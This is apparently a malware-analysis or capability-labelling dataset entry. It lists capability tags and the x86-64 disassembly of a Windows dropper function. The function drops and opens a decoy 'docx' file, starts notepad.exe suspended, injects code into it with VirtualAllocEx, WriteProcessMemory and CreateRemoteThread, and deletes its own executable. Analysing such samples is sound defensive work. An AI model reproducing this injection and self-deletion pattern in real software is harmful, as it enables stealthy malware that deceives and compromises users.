Function at 0x1400114a6
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Extract resource via kernel32 functions
Inject thread
Self delete
Spawn thread to rwx shellcode
Write and execute a file
Write file on windows

Disassembly:
jmp 0x140016960
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
mov eax, 0x10b8
call fcn.140011127
sub rsp, rax
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x2fa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x10d8]
mov rax, qword [0x14002a4c0]
xor rax, rbp
mov qword [rbp + 0x1050], rax
lea rcx, [0x140031103]
call fcn.1400116ae
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rbp + 0x240]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea rax, [rbp + 0x470]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
lea r8, str.docx
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rbp + 0x698], rax
mov rdx, qword [rbp + 0x698]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rbp + 0x6b8], rax
mov rdx, qword [rbp + 0x698]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rbp + 0x6d4], eax
mov rcx, qword [rbp + 0x6b8]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rbp + 0x6f8], rax
mov r8d, 0x104
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dx, 0x5c
lea rcx, [rbp + 0x10]
call fcn.140011005
add rax, 2
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14001120d
lea rdx, str.fujianeexe.docx
lea rcx, [rbp + 0x240]
call fcn.14001120d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1f01ff
lea rcx, [rbp + 0x240]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x718], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x734]
mov r8d, dword [rbp + 0x6d4]
mov rdx, qword [rbp + 0x6f8]
mov rcx, qword [rbp + 0x718]
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rax, [rbp + 0x760]
mov rdi, rax
xor eax, eax
mov ecx, 0x70
rep stosb byte [rdi], al
mov dword [rbp + 0x760], 0x70
lea rax, [rbp + 0x240]
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x790], 5
lea rcx, [rbp + 0x760]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
lea rax, [rbp + 0xff8]
mov qword [rbp + 0x1038], rax
lea rdx, str.explorer.exe
mov rcx, qword [rbp + 0x1038]
call fcn.1400112f8
mov qword [rbp + 0x1048], rax
mov rcx, qword [rbp + 0x1048]
call fcn.140011569
mov dword [rbp + 0x7e4], eax
mov ecx, dword [rbp + 0x7e4]
call fcn.1400112ad
lea rax, [rbp + 0x810]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x898]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x898]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x810]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.c:windows_system32_notepad.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.DeleteFileW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x8d0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x8d8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x800
xor edx, edx
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xaf8], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x800
lea r8, [0x14001123f]
mov rdx, qword [rbp + 0xaf8]
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x210
xor edx, edx
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0xb18], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x210
lea r8, [rbp + 0x8d0]
mov rdx, qword [rbp + 0xb18]
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [rbp + 0xb34]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0xb18]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0xaf8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x898]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0xb58], rax
mov rcx, qword [rbp + 0xb58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, reloc.OLEAUT32.dll_VariantCopy
call fcn.140011596
mov eax, edi
mov rcx, qword [rbp + 0x1050]
xor rcx, rbp
call fcn.14001134d
lea rsp, [rbp + 0x1068]
pop rdi
pop rbp
ret